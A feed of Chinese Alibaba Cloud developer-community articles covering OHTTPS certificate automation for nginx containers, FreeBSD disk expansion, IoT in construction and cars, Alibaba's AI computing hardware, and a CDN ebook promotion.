                  经过搜索发现,真的有提供免费通配符类型证书的机构,那就是Let's Encrypt,Let's Encrypt已为1.8亿个网站提供了HTTPS证书,它是一个非盈利性证书颁发机构,其颁发的证书受所有主流浏览器厂商的信任,安全可靠。

                  Let's Encrypt证书申请客户端选择

                  申请Let's Encrypt的免费证书,需要使用Let's Encrypt的证书申请客户端,官方推荐的是certbot,是脚本类型的,其他的证书申请客户端还有很多。遂搜索了一下大家常用的证书申请客户端,比较常用的是acme.sh,和certbot一样是脚本类型的,试用了一下,确实很强大,在配置了阿里云的域名解析API接口授权参数后,可以自动更新证书,更新后自动重启nginx,超级方便。

                  遇到问题:证书自动更新后无法自动多节点部署

                  在准备使用acme.sh后,突然发现一个问题,就是如果我以后要扩充nginx容器的数量,证书自动更新就有问题了,多个容器内acme.sh会各自更新各自的,就会生成多个不一样的证书,而且一旦我的容器个数超过5个,同时更新会触法Let's Encrypt的证书更新请求速率限制,导致5个之外的所有容器都会更新失败,这个不利于以后容器的扩展。而且如果我需要在阿里云的CDN中部署证书,还要在每次证书更新后手动将证书上传到阿里云的CDN中,很不便捷。

                  找到答案:OHTTPS可在证书更新后自动部署至多节点

                  为了解决上面的问题,并充分发扬我懒的本质,我又开始了我的搜索之旅,经过了持久的搜索后,发现了这个宝藏站点ohttps.com,这个网站提供了我想要的所有功能。OHTTPS提供了证书的申请、吊销、到期前通知、自动更新、更新后自动部署,并可自动部署至阿里云或腾讯云的负载均衡、CDN或证书列表中,还可以部署至Nginx容器中,并支持多节点自动部署。哇,真是太棒了,这个正是我想要的功能啊,更棒的是提供了免DNS授权模式,也就是不需要提供阿里云域名解析API的accessKey和accessKeySecret就可以实现自动更新

                  使用OHTTPS创建证书

                  首先需要注册一个OHTTPS的账号,注册成功之后登录进去打开证书管理页面,点击创建证书,然后进入创建证书步骤:

                  • 1、选择证书类型,这里我们选择泛域名证书,也就是通配符证书,然后输入我们的域名
                  • 2、选则验证域名所有权方式,这里我们选择免DNS授权模式,然后它会提示需要添加1条CNAME类型的记录至DNS域名解析记录中,我们按照它的提示将记录添加至wawoo.fun的域名解析记录中

                  • 3、点击创建证书,证书申请开始了
                  • 4、1 ~ 2分钟之后证书申请成功,可以点击查看证书内容
                  • 5、点击管理证书后,会在证书管理页面中看到我们申请的证书

                  在OHTTPS中创建证书Nginx容器部署节点

                  要使OHTTPS在证书自动更新后自动部署到Nginx容器中,我们需要先创建部署节点。选择部署节点菜单,点击添加节点,然后我们选择Docker - Nginx,点击生成令牌,这个令牌是在使用容器时会使用到的,下面我会使用到。

                  在OHTTPS中配置证书自动更新、自动部署

                  在证书管理页面中,选择我们刚才创建的证书,点击配置,在这里我们可以对证书进行配置:到期前是否进行通知、是否自动更新、更新后是否自动部署、部署至那些节点等。我们全部选择自动,然后将我们刚才创建的部署节点添加进来。

                  构建我们自己的nginx容器镜像

                  在OHTTPS中证书配置完成后,我们需要构建自己的nginx容器镜像。这里需要用到OHTTPS官方提供的ohttps/ohttps-nginx容器镜像作为基础镜像,这个镜像也是基于nginx官方镜像构建的,添加了证书更新功能,证书从服务器拉取过来之后,会存在容器内部的/etc/nginx/certificates文件夹下,证书文件具体存放位置如下:

                  • 件私钥文件cert.key:
                  `/etc/nginx/certificates/${证书ID}/cert.key`
                  • 证书文件fullchain.cer:
                  `/etc/nginx/certificates/${证书ID}/fullchain.cer`

                  其中证书ID是我们创建完证书后生成的证书ID,在证书管理页面可以看到。然后我们可以在我们自己的nginx配置文件中使用证书文件:

                  ssl_certificate     /etc/nginx/certificates/cert-o17xk289ev09d43l/fullchain.cer;
                  ssl_certificate_key /etc/nginx/certificates/cert-o17xk289ev09d43l/cert.key;

                  设置完nginx配置文件nginx.conf之后,我们需要编辑我们自己的Dockerfile文件,用以构建我们自己的镜像。在Dockerfile文件中,需要设定两个环境变量:

                  • PUSH_NODE_ID:就是我们创建的部署节点的ID,在部署节点管理页面可以看到
                  • PUSH_NODE_TOKEN:就是我们创建部署节点时点击生成的32位的Token

                  下面是Dockerfile文件:

                  FROM ohttps/ohttps-nginx:1.0.1
                  WORKDIR /etc/nginx
                  COPY ./nginx.conf /etc/nginx/nginx.conf
                  ENV PUSH_NODE_ID='push-k7l13g8j30xm9qp4'
                  ENV PUSH_NODE_TOKEN='0bfff9fc3024453819c4f107a397ca86'

                  Dockerfile文件编辑完成之后,就可以生成镜像,然后我们就可以使用我们自己的镜像启动我们自己的nginx容器。这样就实现了在证书到期前,自动更新证书,并自动将证书推送至Nginx容器中,永远都不需要再担心证书过期了。

                  我写的OHTTPS使用简介不是很详细,具体怎么使用OHTTPS,还请看OHTTPS官方文档快速上手OHTTPS,具体怎么使用OHTTPS的Docker - Nginx类型部署节点,也请看OHTTPS官方文档部署节点 - Docker - Nginx

                  ]]>
                  FreeBSD 系统盘扩容方法-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 113.jpg
                  镜像下载、域名解析、时间同步请点击 阿里巴巴开源镜像站

                  本文主要介绍FreeBSD系统盘扩容的方法。

                  说明:本文的系统盘名称和大小为演示环境信息,具体数据以实际环境为主。

                  1、登录系统,执行如下命令,查看磁盘空间情况,可以看到磁盘大小为50G,但是剩余的磁盘空间只有512B。

                  gpart show

                  系统显示类似如下。
                  5.png
                  2、执行如下命令,恢复空闲的磁盘空间,然后再执行gpart show命令就可以看到磁盘的空闲空间。

                  gpart recover ada0

                  系统显示类似如下。
                  6.png
                  3、执行如下命令,调整磁盘大小。

                  说明:Swap分区会占用一部分磁盘。

                  gpart resize -i 3 -a 4k -s 48G ada0

                  系统显示类似如下。
                  7.png
                  4、执行如下命令,扩容文件系统,执行完成后会提示是否同意从19G扩容到48G,以及一些风险提醒,直接输入“Yes”即可。

                  growfs /dev/ada0p3

                  系统显示类似如下。
                  8.png
                  5、执行如下命令,确认成功扩容。

                  df -h

                  系统显示类似如下。
                  9.png

                  阿里巴巴开源镜像站 提供全面,高效和稳定的镜像下载服务。钉钉搜索 ' 21746399 ‘ 加入镜像站官方用户交流群。”

                  ]]>
                  物联网在建筑中的应用:混凝土固化监控-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 04.02.19-IoT-Applications-in-Construction-Concrete-Curing-Monitoring-1068x656_副本.jpg

                  由于建筑公司的复杂性、高风险以及保守性,其采用新观念时具有滞后性。尽管存在所有这些障碍,但事实证明,新技术对该行业的整体性能、生产率、安全性和效率产生了巨大的有利影响。对于承包商而言,在其工作现场考虑用于具体工程的物联网(IoT)设备至关重要。

                  “IoT”是指物联网,其简单形式是通过互联网连接设备。当通过一个巨大的网络连接时,手机、计算机和可穿戴技术(包括汽车、家庭、电器和现场传感器)都构成了物联网。以下是物联网在混凝土成熟度监测中的好处总结。

                  效率

                  提高施工效率是一场噩梦。未按时交付的项目数量和成本证明了这一点。其中一个具有挑战性的领域是混凝土浇筑。准确地安排混凝土浇筑和跟踪成熟度是至关重要的,以允许模板拆除等关键活动发生。

                  物联网的发展现在允许通过连接到互联网的互联网温度探头实时监测混凝土的成熟度。这些工具可以实时通信并处理数据,以简化决策制定并加快施工进度。

                  利用连接的技术并在工作现场安装Maturix,SmartRock和Concrete Sensor等传感器可以实现高效的现场管理。使用无线传感器将所有数据收集到一个直观的软件平台中。这种方法可以优化计划和工作流程,自动化文档编制,允许远程访问并消除手工数据收集。

                  安全性

                  建筑工地变化很快。必须非常小心地管理混凝土浇筑和强度,以确保工人的安全。使用有缺陷或质量差的材料可能会造成危险。无损检测结构是一种安全的替代方法。它们允许实时测量关键属性,并将数据无线发送给决策者。

                  创新

                  在某些情况下,环境条件会发生变化,因此难以监测湿度和温度等对结构完整性至关重要的变量。除了增加项目费用外,准确性也会受到影响。传统的测量方法面临挑战,并为决策提供了不准确的信息。物联网传感器通过采用可靠的方式收集关键数据,正在撼动建筑行业。前瞻性公司正在发现智能解决方案引人注目的商业案例。

                  可靠性

                  新技术解决方案针对目标应用进行了优化,因此与传统方法相比,其准确性和一致性更高。例如,考虑用于混凝土强度评估的断裂测试方法:在存储和测试期间,许多事情可能会出错。无线传感器连接到现场混凝土并实时提供实际数据。

                  报告显示,与标准混凝土圆柱断裂相比,物联网传感器在基于成熟度的强度估算中始终达到90%的精度。具体传感技术和物联网设备的进步消除了猜测,并提供了更准确的数据,从而提高了测试结果的可信度。决策者获得他们可以信赖的可行数据。

                  方便

                  在施工过程中对混凝土养护进度进行物理监测是一个费时费力的过程。传统的温度、湿度和强度数据采集方法非常耗时。物联网设备为工作现场带来便利。劳动力优化,成本最小化。根据设计,物联网传感器不需要昂贵的组件,并为现场人员提供关键的实时数据,以便更快地做出决策。咨询工程师和Readymix供应商在线提供预校准数据,而不是要求承包商自己校准混合料。

                  小结

                  传感器技术在建筑领域的普及是向未来迈出的一大步。物联网工具具有改善整个价值链成果的潜力。


                  原文链接 ]]>
                  物联网与未来汽车竞赛-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 12.5.19-IoT-and-the-Race-for-the-Car-of-the-Future-1068x656_副本.jpg

                  当人们想到未来的汽车时,他们通常会想到某种自动驾驶汽车,但是汽车行业中的创新不仅仅是自动驾驶。

                  据Gartner称,到2020年底,街道上将有超过2.5亿辆联网汽车。“联网汽车”不仅仅意味着“自动驾驶”,还包括通过与汽车通信来改善我们在道路上的任何事物。

                  从防抱死制动到后视镜,赛车运动开创了许多现在被认为是我们每天驾驶的车辆的标准配置的东西,并且您将很难找到比现代一级方程式赛车更具连通性的车辆。

                  在比赛过程中,一级方程式赛车队将从每辆汽车中收集约2TB的数据。整个传感器网络收集有关力,温度,位移和压力的信息,从而使工程师和驾驶员可以更全面地了解汽车的运行状况,并帮助他们减少那些难以捉摸的额外瞬间。在全电动Formula E系列中,有150个传感器在测试过程中监视每辆车的重要状态,尽管在比赛中只能使用其中的一小部分传感器。

                  虽然梅赛德斯AMG马石油、红牛和法拉利等车队利用收集到的数据使自己的汽车在赛道上更快地行驶,但第二个好处已经渗透到了公路车上,而且它们今后只会继续变得更加复杂。

                  预测性维护技术并没有告诉您如何加快路线工作速度,而是使用传感器在零件可能发生故障时警告车主。例如,通过实时监控电池的运行状况,基于云的算法可以评估发生故障的可能性,并通过智能手机提前警告驾驶员。

                  这种技术依赖于汽车和服务器之间的数据传输,而一级方程式赛车团队也是该技术的先驱。所收集的大部分信息只能在赛车进入维修区时转移,但就像赛车中的一切一样,时间至关重要。自2017年以来,团队已使用两种无线标准来传输数据。 汽车一进入维修区便开始启动,但是当它在车库四米以内时,它会切换到更快的每秒1.9 GB的上传速度,这意味着一千兆字节的数据可以在不到五秒钟的时间内传输出去。

                  随着越来越多的公路车辆联网,实时传输大量数据对于保持交通顺畅至关重要,特别是如果将人类驾驶员从方程式中移除的话。5G技术的推出将是促进这一进程的关键,在现有的4G网络中,距离、延迟和速度都有可能得到提高。

                  V2X技术

                  当然,在路上,竞争因素会被去除,但你必须考虑到,与在跑道上不同,并不是每辆车都朝着同一个方向行驶。这就是V2X的用武之地。V2X是车辆与周围其他设备之间的双向通信,它将真正改变我们的驾驶方式。V2X代表“车辆到一切”,是自动驾驶汽车的基本生存能力,使每辆车能够通过与几乎所有必须与之共享道路的东西的持续通信,在充满交通、行人和其他危险的街道网络中导航。

                  虽然一级方程式在这方面帮不上忙,但一个不同的、新兴的赛车系列已经将自动驾驶汽车推向了极限。Roborace正处于它的第一个试验季节——“Alpha季节”——使用全自动车辆的比赛。在踏板车上搭载高精度GPS系统的人员预先扫描电路布局的外部界限。一旦汽车知道柏油路的终点,就要依靠车队的算法,在不撞到其他地方的情况下,找到绕赛道最快的路线。

                  Roborace的Devbot 2.0汽车配备了五个LIDAR(光检测和测距)传感器,两个雷达,六个摄像头和18个超声波传感器,使它们能够以超过200英里/小时的速度在赛道上导航而不会发生碰撞。由于没有人,因此这条赛道比V2X和自动驾驶车辆的普通路要安全得多。

                  V2X的潜力将不仅仅局限于自动驾驶。它也会改变乘客的体验。未来,车辆将不仅仅被视为一种交通方式,还将为乘客提供车内娱乐。对于无人驾驶汽车来说,这一点尤其重要,因为在无人驾驶汽车中,娱乐活动将远远超出收音机或车载视频。随着自动驾驶汽车在乘客上下班或前往数英里以外的地方时穿梭,不再负责驾驶甚至导航的乘客将成为固定的观众,并拥有稳定的车内5G连接。这种新发现的媒体消费空闲时间将意味着汽车、电信、广告和内容/流媒体业务的新收入选择,这些业务将争取乘客的关注。

                  赛车运动着重于创新,正在测试新技术并超越一切可能。借助物联网和增强的V2X通信,这些创新将提升新的联网汽车体验。


                  原文链接 ]]>
                  机器学习领域技术大图:硬件算力-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

                  --------点击屏幕右侧或者屏幕底部“+订阅”,关注我,随时分享机器智能最新行业动态及技术干货----------

                  image.png

                  AI 集群旨在获得更高的 AI 集成算力,扮演着“承上启下“的角色,“承上”是指向 AI 应用提供的有效集成算力,高集成算力是支撑 AI 大模型和海量数据量的使能能力。而“启下”是指通过集群的计算、网络、存储平衡设计来充分发挥 AI 计算芯片能力,例如访存或网络瓶颈都会导致较低的 AI 芯片效率。AI 集群设计的关键在于:

                  • 1)单机:计算优化,软硬件协同优化发挥 AI 加速器有效算力。
                  • 2)多机:通信优化,最小化多机数据交换引入的计算效率损耗。我们将从单机加速和集群加速(多机)两个方面介绍相关技术和系统。

                  首先,我们将从计算和互联两个技术点对阿里现有的技术栈进行全面的阐述。

                  计算技术

                  image.png

                  神龙服务器和神龙虚拟化技术

                  在阿里云神龙硬件平台下,虚拟化架构也做了相应的升级,使计算虚拟化部分的架构更加清晰简洁,让虚拟机能提供接近物理机的性能。如图所示,神龙服务器架构的主要特点是:I/O 链路从传统的软件实现转变为硬件和直通设备来实现,存储虚拟化、网络虚拟化都在 MOC 卡上来实现;同时将管控系统、监控程序等都下沉到 MOC 卡上。在提供计算服务的物理机上,只运行阿里云自己裁剪的 Linux 操作系统和轻量化的虚拟机监控器。总的来说,神龙硬件平台的底座,加上轻量化的宿主机 OS,再加上轻量化的虚拟机监控器,就组成了神龙架构下的轻薄且高效的新一代虚拟化平台。

                  image.png

                  image.png

                  GPU

                  CPU 执行 AI 计算往往并不能达到最优的性价比,因此,具有海量并行计算能力、能够加速 AI 计算的 AI 芯片应运而生。当前最具代表的是 GPU、FPGA 和 AI ASIC 芯片。GPU 仍然是当前最成熟也是最广泛使用的加速器,阿里巴巴上层框架针对 GPU 做了大量的编译优化工作。GPU 在阿里巴巴得到了广泛的部署,也是云上 AI 算力售卖的主力,我们已经能做到基于 GPU 的云产品与最新一代 GPU 同步发布。在云上 GPU 的安全性,可运维性,用户体验上我们都走在业界的前列。在于通用计算可运维性在 GPU 虚拟化场景下的热升级能力,居于业界第一;是业界首个发布基于 SRIOV 的 GPU 热迁移技术预研的云厂商。在业界首个实现基于 GRID 的 vGPU 技术在云上输出,引导了 vGPU 云化的技术趋势,并且为 5G 时代的云游戏铺垫了 GPU 计算基础设施。

                  GPU 的训练芯片一直引领着 GPU 技术发展的趋势,除了基础 FP32 算力的高速增长之外,通过精度的变化大幅度提高算力,比如 Tensorcore 是另外一个算力提升趋势;另外,由于多卡,多机的通信的需求,GPU 的通信经历了 PCIE P2P 技术,基于 NVLink 的高速通信技术,以及通过 RDMA 网络的 GPUDirect RDMA 技术。而在阿里云上,由于多租户之间需要进行算力共享,在不同的通信模式下,如何进行算力分割和通信的隔离,是一个阿里云一直研究的技术,包括最新的基于 NVSwitch 的 NVLink 全连接场景下的可编程拓扑分割技术等。

                  FPGA

                  FPGA 器件自诞生之初,就以高度灵活的可编程性提供类 ASIC 的性能和能效比而广泛应用于有线和无线通信、航空航天、医疗电子和汽车电子等领域。但是,相比 CPU 和 GPU,FPGA 的开发周期较长(尽管只有 ASIC 开发周期的一半乃至三分之一)、开发和使用门槛较高,使得 FPGA 的开发人员远远少于 CPU 和 GPU 的开发人员,同时应用范围和知名度也受到了很大的限制。在 FPGA 上,我们具备了有更高的定制和自研能力,阿里云与 AIS 联合研发的业界第一款单卡双芯片的 Xilinx FPGA 板卡,在板卡和 HDK 层面实现了技术自主创新的能力。

                  image.png

                  舜天平台:FPGA 即服务 (FaaS)

                  云上的 FPGA 实例做了丰富的功能输出,阿里云 FaaS(FPGA as a Service)舜天平台在云端提供统一硬件平台与中间件,可大大降低加速器的开发与部署成本。第三方 ISV 加速器 IP 可以迅速形成服务提供给用户,消除加速技术与最终用户的硬件壁垒。用户则能够在无需了解底层硬件的情况下,直接按需使用加速服务。为了给加速器提供方和使用方提供更加高效、统一的开发及部署平台,FaaS 舜天平台提供两大开发套件:HDK 和 SDK。FaaS 的逻辑架构图如下图所示:

                  image.png

                  FaaS FPGA 逻辑架构图

                  image.png

                  阿里云 FaaS 舜天平台支持最全面的 DMA 技术,包括:DMA、XDMA 和 QDMA;同一架构支持 RTL 和 HLS 开发、验证与测试;全球唯一的同一软件架构同时支持两大 FPGA 厂商 Xilinx 和 Intel 的云厂商。全面、过硬、兼容性好,并且能够利用 PR 技术进行动态热升级的Shell技术使得 FaaS 舜天平台成为阿里集团 FPGA 异构加速业务的基础设施,完全适配了集团的所有已经引入的 FPGA 器件,已经成功服务手淘、优酷、蚂蚁和云安全几大业务板块。

                  image.png

                  阿里云 FaaS 平台架构图

                  AliDNN

                  与 GPU 环境下,单向的软件适配硬件不同,FPGA 和阿里自研 NPU 给了我们定义硬件的机会,可以根据业务特征进行深度的软硬件优化。AliDNN 是一款基于 FPGA 的指令集、加速器、SDK 和编译器全栈自研的深度学习加速引擎。指令集加编译器设计为 AliDNN 提供了充分的灵活性。深度学习框架 (TensorFlow,Caffe 等)可以直接调用 AliDNN 引擎,编译器(震旦)将深度学习模型编译成加速器指令进行计算。算法, runtime,编译器和加速器的全栈软硬件协调优化,使得 AliDNN 拥有极致的效率和性能。AliDNN 提供了高吞吐、低延迟的深度学习推理服务。

                  image.png

                  NPU

                  AliNPU(含光 800)更是分析阿里集团内部的人工智能应用场景需求,确定了以 CNN 模型为主做了深度的优化,同时支持一些通用模型,比如 RNN 类模型等。这是针对特定深度学习算法领域做特别的优化,把相关应用的性价比提高到极致,正式如此,含光 800 性价比远超竞品,成为全球最强 AI 推理芯片。

                  image.png

                  互联技术

                  RDMA

                  RDMA 是目前业界最受欢迎的高性能网络技术,能大大节约数据传输时间及 CPU 开销,被公认为是提升人工智能、科学计算、分布式存储性能的关键技术。阿里巴巴基于全新的 HAIL 网络架构并结合自研交换机,打造了从主机网络、消息中间件、盘古分布式存储、网络运营到产品运营的完整技术体系,实现了数十个数据中心的全球最大规模 RDMA 网络部署,远超亚马逊、微软等主要云厂商。这张全球最大规模的数据中心“高速网”使得集群极大地突破了传输速度瓶颈,有效地支撑了云盘 ESSD、云超算 SCC、机器学习 PAI、 云原生数据库 POLARDB 这些广受欢迎的创新产品,并助力电商数据库从容应对双十一峰值流量考验。同时,可以跨 POD 的 lossy RDMA 技术已经在阿里巴巴进入实验测试阶段,届时将进一步扩大 RDMA 的适应范围。

                  EXSPARCL通信库

                  自研的EXSPARCL(Extremely Scalable and high Performance Alibaba gRoup Communication Library)集合通信库提供通用的集合通信功能,同时兼容 NVIDIA 的 NCCL。ExSparcl 专门优化支持大规模 AI 集群的高速互联架构和多网卡特性, 充分利用设备之间的互联带宽,保证通信和业务性能的线性扩展。通过对集群/主机物理互联的拓扑感知,和网络路由的最优选择,实现创新的无拥塞算法,确保节点内和节点间的高速通信。例如针对 SCC 训练集群架构,实现的Rank重映射 Havling-Doubling 算法,可以保障集合通信过程中没有因为路径冲突而产生的拥塞排队,在大规模环境中对比 NVDIA 公司的 NCCL 通信库,实现集合通信性能 (AllReduce/AllGather) 的数倍提升,对业务性能的提升也非常明显。此外,拓扑感知的特性可以用于故障规避,大大增强网络的可用性,详见:https://www.qbitai.com/2020/03/11987.html

                  image.png

                  ExSPARCL

                  飞天AI加速工具(AIACC)

                  飞天 AI 加速工具通过统一的框架同时支持了 Tensorflow,PyTorch,MXNET,Caffe 这 4 种主流的 AI 计算框架的分布式性能加速,并且针对 VPC 网络和 RDMA 网络都做了很深入的性能优化,在不同场景不同训练规模下可以提升 1~10 倍的训练性能。同时, AIACC 和各 AI 计算框架是解耦的,一方面可以轻松支持各 AI 计算框架社区版本的向前迭代,另一方面,用户使用各 AI 计算框架实现的模型、算法代码基本上不用修改,就可以很轻松的获得性能加速。

                  image.png

                  FaaS 舜天可以支持 FPGA 芯片高速互联 (最高可达 600G)

                  阿里云与 AIS 联合研发的业界第一款单卡双芯片的 FPGA 板卡,AliFPGAx2,两块 FPGA 之间的 Serdes 的带宽可以高达 600G,在一台服务器上的两块 AliFPGAx2 的板卡,还可以通过光缆互联与高速 Serdes 互联。于此同时 FaaS F3 提供给用户强大的互联拓扑结构,方便用户搭建 FPGA 集群,实现 FPGA 互联,并且通过 FaaS 舜天的 Shell 提供高速 DMA 的软硬件支持。可以支持单卡 2 芯片互联,双卡 4 芯片互联和 8 卡 16 芯片互联,并且互联的通道可以通过软件灵活配置硬件的隔离分割,在云用户不同的拓扑需求之间进行互联和隔离。下图是典型的 2 卡 4 芯片互联拓扑结构。

                  image.png

                  在此基础上,阿里巴巴开发了适合不同应用场景的异构超算集群。

                  SCC:通用和异构超算集群

                  image.png

                  高性能计算是采用低延迟高带宽的计算节点构成并行计算集群,通过并行计算(Parallel computing)实现对浮点密集型科学和工程模型包括AI深度模型的求解。作为计算节点的神龙裸金属服务器通过 RoCE 网卡实现节点间计算的高速 MPI 通信,通过神龙 MOC 卡实现和 VPC,IO 和网络,云盘的互联。从而在输出超算水平的超级算力的同时,保持所有节点的“云原生”的弹性和统一运维。我们还开发了弹性高性能计算 E-HPC PaaS 平台,作为高性能计算软件栈创建和管理 SCC 集群,同时对有能力自建 HPC 平台的客户直接输出 SCC 集群。

                  SCC-训练集群:大规模 AI 训练集群

                  针对 AI 大规模训练的算力需求,阿里巴巴开展了从硬件到算法的一体化设计。从性能角度,集群设计的核心之一就是通过提升加速器间数据交互的能力,降低非计算开销占比,进而实现算力的规模线性扩展。因此,异构集群系统以优化通信为突破口,对服务器和整机网络架构进行重新定义,先从硬件上解除通信瓶颈,再通过软硬件协同,将增强的通信能力发挥出来,该部分的工作内部代号 EFlops,实现了 AI 训练的线性加速,相关成果在顶级学术会议 HPCA2020 上发布 点击查看,目前建设的系统单集群 AI 算力可达 500 PFlops(FP16 性能)。

                  image.png

                  此外,液冷是推动AI集群架构演进的另一股力量。由于功耗限制,当前一个机柜仅能容纳两台或四台 8 卡服务器,计算密度难以提升,而液冷则可以打破这个限制,一个 Tank 即可容纳 100 多块 GPU 卡,省电省地省光纤,提升稳定性。相应地,集群架构根据浸没式液冷 Tank 的尺寸和出线特点进行了重新设计,这一工作已进入实验阶段。

                  再次,在获得极致性能的同时,我们也兼顾在计算成本方面的优化,以及通用与异构算力解耦之后的灵活性。

                  异构硬件层虚拟化

                  阿里 IaaS 的 GPU 虚拟化技术是 AI 计算力上云的基础。阿里 IaaS 在对现有开源 GPU 虚拟化技术之上进行了二次开发,使得现有 GPU 虚拟化方案可以适合公有云对安全性,高可靠性与可监控等关键功能的提升。

                  在公有云 GPU 服务器的安全隔离方面,阿里云异构 IaaS 层完成了从实例内部的驱动的初步安全过滤,宿主机虚拟化层对 GPU 特权指令的过滤拦截,宿主机 PCIe 协议成的容错处理等三层立体防护体系,确保客户实例不受攻击,也没有可能攻击其他客户。

                  当前主流异构虚拟化还是以设备直通的方式存在,并在基础之上逐渐演化出 SRIOV, vGPU 分片虚拟化等最新技术。阿里 IaaS 依托现有 GPU 虚拟化技术完成了 AI 集群 (GPU/FPGA) 的云上规模化和产品输出。GPU 虚拟化走过了漫长的发展路程;经历了直通虚拟化,SRIOV 与 vGPU 的分片虚拟化,Intel 的 GVT-G 技术等等。

                  image.png

                  在通用计算时代,虚拟化的引入主要是为了提高 CPU 利用率,但是随着热升级,热迁移技术的引入,把计算资源的安全性,可靠性推到新的高度。在 GPU 资源利用率提升,计算资源碎片整理上,GPU 虚拟化技术也扮演着重要的角色。

                  在公有云 GPU 服务器的监控方面,阿里云异构 IaaS 层做了 GPU 相关的云监控方案,可以实时取得当前 GPU 的运行状态与温度,显存用量等信息,并可以自定义多种监控模式。GPU 自定义监控与 GPU 云监控插件。

                  在公有云 GPU 服务器的高可用性方面,阿里云异构 IaaS 层开发并部署了特有的 GPU 服务器热升级与热迁移功能。使得当实例所在宿主机需要系统软件更新/硬件维修等运维操作时,可以让客户无感的完成升级更新,从而保障了客户业务的稳定性与连续性。基于 SRIOV 和 GRID vGPU 的热迁移能力上,阿里云都作为业界第一梯队领先竞对。

                  异构 GPU 容器支持(cGPU 容器 AI 算力隔离技术)

                  云原生已经成为业内云服务的一个趋势,如何能够在云原生上支持异构计算,同时在单个 GPU 上可以运行多个容器并进行隔离,对此业界也做了很多探索。Nvidia vGPU, Nvidia MPS, 友商的 vCUDA 方案,都为用户更小颗粒度的使用 GPU 提供了可能。
                  阿里云 GPU 团队推出了昊天 cGPU 方案,相比其他方案,这是一个颠覆性的创新。业内常用方案是通过替换 CUDA 库实现拦截,需要对静态链接的程序重新编译,同时 CUDA 升级时也需要适配新版本;而昊天 cGPU 在做到算力调度与显存隔离的同时,也做到了无需替换 CUDA 静态库,动态库,无需重新编译,CUDA,cuDNN 等版本随时升级无需适配。

                  image.png

                  cGPU 为自主研发的宿主机内核驱动。它的好处在于:

                  • 适配开源标准的 Kubernetes 和 NVidia Docker 方案
                  • 用户侧透明。AI 应用无需重编译,执行无需 cuda 库替换
                  • 针对 Nvidia 设备的底层操作更加稳定和收敛,而 CUDA 层的 API 变化多端,同时一些 Cudnn 非开放的 API 也不容易捕获。
                  • 同时支持 GPU 的显存和算力隔离

                  现在基于阿里云 GPU 团队的 cGPU 昊天方案和容器服务的 GPU 共享调度双剑合璧, 可以打造低成本,可靠,用户友好的规模化 GPU 调度和隔离方案。

                  软件池化

                  EAIS.EI:资源调度层池化

                  EAIS 通过软件池化的方式将 CPU 核心数和后端异构加速设备解耦,前端的纯 CPU ECS可以动态挂载或者卸载后端异构加速设备,前端 ECS 和后端异构加速设备间通过加密的 gRPC 协议通信。后端加速设备可以包括 GPU,FPGA,NPU 等异构加速器,并且通过软件池化的方式进行统一调度和管理。

                  image.png

                  HARP:Runtime 层池化

                  做加速机群池化的主要目的,是想提高机群资源利用率。机群管理如 K8s 对加速资源管理手段非常有限,一般都是以直通(pass-through)的方式,以整卡的力度来分配。再者 CPU 和加速资源以整机形式,绑定资源分配,在实际应用中有很大资源浪费。而数据中心呈现去中心化发展趋势(disaggregation),从物理机到虚拟机,到虚拟网卡,到分布式存储,整机的各个部件逐渐以专用机柜的形式,以虚拟化,可配置(configurable)的方式通过网络组装。对比磁盘,加速资源跟通用计算之间联系更紧密,但是随着技术的进步,加速资源单独组机柜,通过网络或者其他互联(interconnect)的形式,对通用计算(CPU)加速,成为一个技术趋势。

                  Heterogenous accelerator resource pooling (HARP),目前以 GPU 为主要加速资源,将来会扩展到 NPU 和其他加速硬件。通过在用户程序和 driver 之间,加一个中间层(目前为软件,将来可扩展为硬件),来实现加速资源的虚拟化,动态地为用户分配本地或者远程的加速资源,从而更好的管理和利用加速资源。

                  HARP 实现方式的优势为:

                  • 对上层应用透明,对运行环境无要求(物理机、容器、VM)均可
                  • 同时支持本地和远程的加速资源,本地模式下与直接使用 GPU 性能无差异
                  • 可以通过控制 API 来比较轻量化地在单卡复用情形下显存、计算资源控制
                  • 可以对上层应用隐藏底层硬件细节,自动化一些底层配置(本地物理 GPU/由 PCIE-switch 连接的另一台 host 上的物理机/vGPU/下一代 GPU 支持/Compute Instance)
                  • 可以实现一些额外的 profiling 功能,甚至生成一些可以 replay 的 trace

                  HARP 资源池需要支持其他各种加速芯片,因此希望能建立统一的接口。支持该接口的芯片只需要花少量的工作,就能接入资源池调度系统。因此我们联合上海交大和清华大学,以及寒武纪等芯片厂商,建立中国异构资源池技术标准产业联盟。

                  硬件层池化

                  作为软件池化技术的升级,利用自研或者三方的硬件插卡,通过机架或小规模跨机架的高速总线互联技术,对通用计算器与多种加速器进行配比解耦,达到中等规模加速器池化和任意的加速器的灵活组合。同时在可靠性,可运维性,加速卡硬件故障处理 SLA 上提供更好的服务。

                  image.png

                  远程资源 - 本地访问

                  最后,基于在“核高基”领域的技术研发,奠定了今天阿里云的 IaaS 及 PaaS 服务具备了以下特点:

                  • 以产品多样性,打造性价比极致的算力供给的硬件算力基础设施为设计目标。
                  • 以软硬协同为主的技术研发和布局形成我们的差异化竞争力和技术抓手。
                  • 从单加速器分片算力共享到大规模集群算力的弹性算力能力的交付能力是一个核心需要打造的能力。
                  • SLA 服务能力具备差异性,高可靠性。

                  image.png

                  原文链接:https://mp.weixin.qq.com/s/SJUO7yj-8sHvOHYBDZXPwQ

                  ]]>
                  开放下载!《CDN排坑指南》-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

                  点击免费下载
                  《CDN排坑指南》>>>

                  【云服务技术课堂】给大家安排了一份重磅福利
                  本书作者结合多年的阿里从业经验,通过大量的实战案例,详尽解析CDN的相关知识与常见问题。初学者能从中获得全面CDN知识,也是进阶者深入学习的宝典!
                  倒计时 7 天开放下载!不见不散哟~

                  《CDN排坑指南》的作者阿里云工程师胡夫,拥有丰富的阿里云CDN、对象存储OSS开发调试经验,目前专注解决客户视频云及相关产品的技术疑难问题并推动相关产品的问题改进。

                  也可在PC端打开 https://developer.aliyun.com/topic/download?id=77 下载

                  test

                  本书详细介绍CDN原理及快速入门、CDN进阶功能排查、CDN性能优化与安全防护、CDN访问异常排查,助您快速成长为云运维工程师!

                  目录
                  电子书目录.png

                  CDN宣传海报_外部_1.png



